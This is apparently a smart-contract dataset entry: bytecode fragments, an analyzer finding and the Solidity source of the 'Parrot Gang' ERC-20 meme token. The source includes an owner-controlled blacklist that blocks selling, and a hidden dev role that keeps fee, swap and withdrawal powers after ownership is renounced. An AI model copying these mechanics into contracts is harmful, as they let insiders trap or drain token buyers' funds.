09054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f48565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc9061150d565b60405180910390fd5b61060f6000610f50565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546106499061139b565b80601f01602080910402602001604051908101604052809291908181526020018280546106759061139b565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111ed565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f48565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108489061150d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b79061159f565b60405180910390fd5b6108c981610f50565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611631565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111ed565b60405180910390a3600190509392505050565b6000600c600181548110610aa457610aa3611651565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bbb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610bc5575081155b15610c5c57600460009054906101000a900460ff16600d610be6919061168d565b600a610bf291906117f7565b6009610bfe9190611842565b8410610c5b5780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c53919061148d565b925050819055505b5b84600c600181548110610c7257610c71611651565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d095750600084145b15610d655780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5d919061189c565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db4919061189c565b925050819055506000600154606486610dcd9190611921565b610dd79190611842565b90508085610de5919061148d565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e36919061148d565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e8c919061189c565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee2919061148d565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f38919061189c565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561104e578082015181840152602081019050611033565b8381111561105d576000848401525b50505050565b6000601f19601f8301169050919050565b600061107f82611014565b611089818561101f565b9350611099818560208601611030565b6110a281611063565b840191505092915050565b600060208201905081810360008301526110c78184611074565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110ff826110d4565b9050919050565b61110f816110f4565b811461111a57600080fd5b50565b60008135905061112c81611106565b92915050565b6000819050919050565b61114581611132565b811461115057600080fd5b50565b6000813590506111628161113c565b92915050565b6000806040838503121561117f5761117e6110cf565b5b600061118d8582860161111d565b925050602061119e85828601611153565b9150509250929050565b60008115159050919050565b6111bd816111a8565b82525050565b60006020820190506111d860008301846111b4565b92915050565b6111e781611132565b82525050565b600060208201905061120260008301846111de565b92915050565b600080600060608486031215611221576112206110cf565b5b600061122f8682870161111d565b93505060206112408682870161111d565b925050604061125186828701611153565b9150509250925092565b611264816110f4565b82525050565b600060208201905061127f600083018461125b565b92915050565b60006020828403121561129b5761129a6110cf565b5b60006112a98482850161111d565b91505092915050565b600080604083850312156112c9576112c86110cf565b5b60006112d78582860161111d565b92505060206112e88582860161111d565b9150509250929050565b6000819050919050565b600061131761131261130d846110d4565b6112f2565b6110d4565b9050919050565b6000611329826112fc565b9050919050565b600061133b8261131e565b9050919050565b61134b81611330565b82525050565b60006020820190506113666000830184611342565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b357607f821691505b6020821081036113c6576113c561136c565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142860298361101f565b9150611433826113cc565b604082019050919050565b600060208201905081810360008301526114578161141b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149882611132565b91506114a383611132565b9250828210156114b6576114b561145e565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114f760208361101f565b9150611502826114c1565b602082019050919050565b60006020820190508181036000830152611526816114ea565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158960268361101f565b91506115948261152d565b604082019050919050565b600060208201905081810360008301526115b88161157c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061161b60248361101f565b9150611626826115bf565b604082019050919050565b6000602082019050818103600083015261164a8161160e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060ff82169050919050565b600061169882611680565b91506116a383611680565b92508260ff038211156116b9576116b861145e565b5b828201905092915050565b60008160011c9050919050565b6000808291508390505b600185111561171b578086048111156116f7576116f661145e565b5b60018516156117065780820291505b8081029050611714856116c4565b94506116db565b94509492505050565b60008261173457600190506117f0565b8161174257600090506117f0565b8160018114611758576002811461176257611791565b60019150506117f0565b60ff8411156117745761177361145e565b5b8360020a91508482111561178b5761178a61145e565b5b506117f0565b5060208310610133831016604e8410600b84101617156117c65782820a9050838111156117c1576117c061145e565b5b6117f0565b6117d384848460016116d1565b925090508184048111156117ea576117e961145e565b5b81810290505b9392505050565b600061180282611132565b915061180d83611680565b925061183a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611724565b905092915050565b600061184d82611132565b915061185883611132565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156118915761189061145e565b5b828202905092915050565b60006118a782611132565b91506118b283611132565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118e7576118e661145e565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061192c82611132565b915061193783611132565b925082611947576119466118f2565b5b82820490509291505056fea2646970667358221220b51f12f91e6a22fc2767376223a071e271382eab96a6443952803455e0307a3064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,543 |
0x63a3b6cb803e3667f082fb37337a934f69b6d73a
|
/**
*Submitted for verification at Etherscan.io on 2022-04-21
*/
/**
██████████
██░░░░░░░░░░████
██░░░░░░░░░░░░░░░░██
██░░░░░░░░░░░░░░░░░░░░██
██░░░░░░██░░░░░░░░░░░░████
██░░░░░░░░██░░████████░░██░░██
██░░░░░░░░░░░░██░░░░░░██░░░░██
████░░░░░░░░░░░░██░░░░░░██░░░░░░██
██░░░░░░░░░░░░░░██░░░░░░██░░░░░░░░██
██░░░░░░░░░░░░░░░░██░░░░████░░░░░░░░██
██░░░░░░░░░░░░░░░░░░██░░██░░░░░░░░░░██
██░░░░░░░░░░░░░░░░░░██░░██░░░░░░░░░░██
██░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░██
██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████
████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██░░██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
████████████████████████████████████████████████
█▀▀█ █▀▀█ █▀▀█ █▀▀█ █▀▀█ ▀▀█▀▀ █▀▀▀ █▀▀█ █▀▀▄ █▀▀▀
█░░█ █▄▄█ █▄▄▀ █▄▄▀ █░░█ ░░█░░ █░▀█ █▄▄█ █░░█ █░▀█
█▀▀▀ ▀░░▀ ▀░▀▀ ▀░▀▀ ▀▀▀▀ ░░▀░░ ▀▀▀▀ ▀░░▀ ▀░░▀ ▀▀▀▀
To the moon we go
Telegram: https://www.t.me/parrotgang
Website: https://www.parrotgang.xyz
Twitter: https://www.twitter.com/parrotgangerc
Total buy/sell fee: 8%
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
_dev = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyDev() {
require(_dev == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ParrotGang is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,8,0,8);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 20;
string private constant _name = "Parrot Gang";
string private constant _symbol = "GANG";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x740541aEB86A5B93Ff4b175C618D68d97f773498);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyDev {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external onlyDev() {
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 30000000000 * 10**9;
_maxWalletSize = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyDev {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external onlyDev {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyDev {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b6040516101679190612a2c565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612af6565b61051c565b6040516101a49190612b51565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b6c565b61053a565b005b3480156101e257600080fd5b506101eb610633565b6040516101f89190612be2565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612d45565b610644565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d8e565b6108a6565b60405161025e9190612b51565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612de1565b61097f565b005b34801561029c57600080fd5b506102a5610a71565b6040516102b29190612e2a565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612e45565b610a7a565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e9e565b610b29565b005b34801561031957600080fd5b50610334600480360381019061032f9190612e45565b610bdb565b005b34801561034257600080fd5b5061034b610cb5565b005b34801561035957600080fd5b50610374600480360381019061036f9190612de1565b610d5d565b6040516103819190612be2565b60405180910390f35b34801561039657600080fd5b5061039f610dae565b005b3480156103ad57600080fd5b506103b6610f01565b005b3480156103c457600080fd5b506103cd610fb8565b6040516103da9190612eda565b60405180910390f35b3480156103ef57600080fd5b506103f8610fe1565b6040516104059190612a2c565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612af6565b61101e565b6040516104429190612b51565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612e45565b61103c565b005b34801561048057600080fd5b50610489611116565b005b34801561049757600080fd5b506104a06111c6565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612ef5565b6116e5565b6040516104d69190612be2565b60405180910390f35b60606040518060400160405280600b81526020017f506172726f742047616e67000000000000000000000000000000000000000000815250905090565b600061053061052961176c565b8484611774565b6001905092915050565b61054261176c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c890612f81565b60405180910390fd5b600f5483856105e09190612fd0565b11156105eb57600080fd5b60105481836105fa9190612fd0565b111561060557600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000683635c9adc5dea00000905090565b61064c61176c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d090612f81565b60405180910390fd5b60005b81518110156108a2573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070f5761070e613026565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061078257610781613026565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108175750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f6576107f5613026565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088f5760016007600084848151811061083557610834613026565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089a90613055565b9150506106dc565b5050565b60006108b384848461193d565b610974846108bf61176c565b61096f856040518060600160405280602881526020016138a660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092561176c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ee39092919063ffffffff16565b611774565b600190509392505050565b61098761176c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0d90612f81565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610a8261176c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890612f81565b60405180910390fd5b6031811115610b1f57600080fd5b8060128190555050565b610b3161176c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb590612f81565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610be361176c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6790612f81565b60405180910390fd5b60008111610c7d57600080fd5b610cac6064610c9e83683635c9adc5dea00000611f4790919063ffffffff16565b611fc190919063ffffffff16565b60158190555050565b610cbd61176c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4390612f81565b60405180910390fd5b6000479050610d5a8161200b565b50565b6000610da7600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612077565b9050919050565b610db661176c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3a90612f81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f0961176c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8d90612f81565b60405180910390fd5b683635c